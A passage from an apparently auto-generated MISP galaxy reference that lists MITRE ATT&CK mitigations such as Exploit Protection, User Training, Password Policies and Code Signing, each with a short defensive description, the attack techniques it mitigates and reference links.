mitigates: misp-galaxy:mitre-attack-pattern="Exploit TEE Vulnerability - T1405" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1421" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Capture Clipboard Data - T1414" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Premium SMS Toll Fraud - T1448" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="URL Scheme Hijacking - T1415" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Android Intent Hijacking - T1416" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1471" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Manipulate Device Communication - T1463" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1509" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Clipboard Modification - T1510" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"

Table 2923. Table References
Links
https://attack.mitre.org/mitigations/M1005

Exploit Protection - M1050

Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.

The tag is: misp-galaxy:mitre-course-of-action="Exploit Protection - M1050"

Exploit Protection - M1050 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 2924. Table References
Links
https://attack.mitre.org/mitigations/M1050

User Guidance - M1011

Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.

The tag is: misp-galaxy:mitre-course-of-action="User Guidance - M1011"

User Guidance - M1011 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Attack PC via USB Connection - T1427" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Obtain Device Cloud Backups - T1470" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Remotely Track Device Without Authorization - T1468" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Remotely Wipe Data Without Authorization - T1469" with estimative-language:likelihood-probability="almost-certain"

Table 2925. Table References
Links
https://attack.mitre.org/mitigations/M1011

Enterprise Policy - M1012

An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.

The tag is: misp-galaxy:mitre-course-of-action="Enterprise Policy - M1012"

Enterprise Policy - M1012 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Rogue Wi-Fi Access Points - T1465" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Abuse Accessibility Features - T1453" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Access Notifications - T1517" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"

Table 2926. Table References
Links
https://attack.mitre.org/mitigations/M1012

Interconnection Filtering - M1014

In order to mitigate Signaling System 7 (SS7) exploitation, the Communications, Security, Reliability, and Interoperability Council (CSRIC) describes filtering interconnections between network operators to block inappropriate requests (Citation: CSRIC5-WG10-FinalReport).

The tag is: misp-galaxy:mitre-course-of-action="Interconnection Filtering - M1014"

Interconnection Filtering - M1014 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Exploit SS7 to Track Device Location - T1450" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS - T1449" with estimative-language:likelihood-probability="almost-certain"

Table 2927. Table References
Links
https://attack.mitre.org/mitigations/M1014
https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf

Rootkit Mitigation - T1014

Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Rootkit Mitigation - T1014"

Rootkit Mitigation - T1014 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"

Table 2928. Table References
Links
https://attack.mitre.org/mitigations/T1014
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Update Software - M1051

Perform regular software updates to mitigate exploitation risk.

The tag is: misp-galaxy:mitre-course-of-action="Update Software - M1051"

Update Software - M1051 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Application Shimming - T1138" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"

Table 2929. Table References
Links
https://attack.mitre.org/mitigations/M1051

Vulnerability Scanning - M1016

Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.

The tag is: misp-galaxy:mitre-course-of-action="Vulnerability Scanning - M1016"

Vulnerability Scanning - M1016 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 2930. Table References
Links
https://attack.mitre.org/mitigations/M1016

Mshta Mitigation - T1170

Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

The tag is: misp-galaxy:mitre-course-of-action="Mshta Mitigation - T1170"

Mshta Mitigation - T1170 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"

Table 2931. Table References
Links
https://attack.mitre.org/mitigations/T1170

User Training - M1017

Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.

The tag is: misp-galaxy:mitre-course-of-action="User Training - M1017"

User Training - M1017 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Man in the Browser - T1185" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Two-Factor Authentication Interception - T1111" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1164" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Login Item - T1162" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"

Table 2932. Table References
Links
https://attack.mitre.org/mitigations/M1017

Screensaver Mitigation - T1180

Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)

The tag is: misp-galaxy:mitre-course-of-action="Screensaver Mitigation - T1180"

Screensaver Mitigation - T1180 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Screensaver - T1180" with estimative-language:likelihood-probability="almost-certain"

Table 2933. Table References
Links
https://attack.mitre.org/mitigations/T1180
https://technet.microsoft.com/library/cc938799.aspx

Rundll32 Mitigation - T1085

Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)

The tag is: misp-galaxy:mitre-course-of-action="Rundll32 Mitigation - T1085"

Rundll32 Mitigation - T1085 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"

Table 2934. Table References
Links
https://attack.mitre.org/mitigations/T1085
https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET

Hypervisor Mitigation - T1062

Prevent adversary access to privileged accounts necessary to install a hypervisor.

The tag is: misp-galaxy:mitre-course-of-action="Hypervisor Mitigation - T1062"

Hypervisor Mitigation - T1062 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Hypervisor - T1062" with estimative-language:likelihood-probability="almost-certain"

Table 2935. Table References
Links
https://attack.mitre.org/mitigations/T1062

DCShadow Mitigation - T1207

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

The tag is: misp-galaxy:mitre-course-of-action="DCShadow Mitigation - T1207"

DCShadow Mitigation - T1207 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="DCShadow - T1207" with estimative-language:likelihood-probability="almost-certain"

Table 2936. Table References
Links
https://attack.mitre.org/mitigations/T1207

Password Policies - M1027

Set and enforce secure password policies for accounts.

The tag is: misp-galaxy:mitre-course-of-action="Password Policies - M1027"

Password Policies - M1027 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Keychain - T1142" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"

Table 2937. Table References
Links
https://attack.mitre.org/mitigations/M1027

Kerberoasting Mitigation - T1208

Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)

The tag is: misp-galaxy:mitre-course-of-action="Kerberoasting Mitigation - T1208"

Kerberoasting Mitigation - T1208 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"

Table 2938. Table References
Links
https://attack.mitre.org/mitigations/T1208
https://adsecurity.org/?p=2293

Data Backup - M1053

Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.

The tag is: misp-galaxy:mitre-course-of-action="Data Backup - M1053"

Data Backup - M1053 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Defacement - T1491" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1488" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 2939. Table References
Links
https://attack.mitre.org/mitigations/M1053

Masquerading Mitigation - T1036

When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\Windows\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.

Identify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Masquerading Mitigation - T1036"

Masquerading Mitigation - T1036 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 2940. Table References
Links
https://attack.mitre.org/mitigations/T1036
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Execution Prevention - M1038

Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.

The tag is: misp-galaxy:mitre-course-of-action="Execution Prevention - M1038"

Execution Prevention - M1038 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="CMSTP - T1191" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities - T1127" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Signed Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Signed Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Screensaver - T1180" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1215" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="InstallUtil - T1118" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1144" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1182" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Control Panel Items - T1196" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1172" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Execution through Module Load - T1129" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1161" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1121" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1514" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"

Table 2941. Table References
Links
https://attack.mitre.org/mitigations/M1038

Software Configuration - M1054

Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.

The tag is: misp-galaxy:mitre-course-of-action="Software Configuration - M1054"

Software Configuration - M1054 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1054" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1504" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Unused/Unsupported Cloud Regions - T1535" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Web Session Cookie - T1506" with estimative-language:likelihood-probability="almost-certain"

Table 2942. Table References
Links
https://attack.mitre.org/mitigations/M1054

Code Signing - M1045

Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.

The tag is: misp-galaxy:mitre-course-of-action="Code Signing - M1045"

Code Signing - M1045 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="AppleScript - T1155" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="LC_MAIN Hijacking - T1149" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1161" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1504" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Implant Container Image - T1525" with estimative-language:likelihood-probability="almost-certain"

Table 2943. Table References
Links
https://attack.mitre.org/mitigations/M1045

Boot Integrity - M1046

